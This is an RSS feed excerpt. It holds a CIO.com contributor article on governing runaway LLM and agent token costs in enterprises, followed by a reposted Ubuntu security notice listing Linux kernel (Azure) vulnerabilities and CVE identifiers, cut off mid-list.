<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 13:02:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
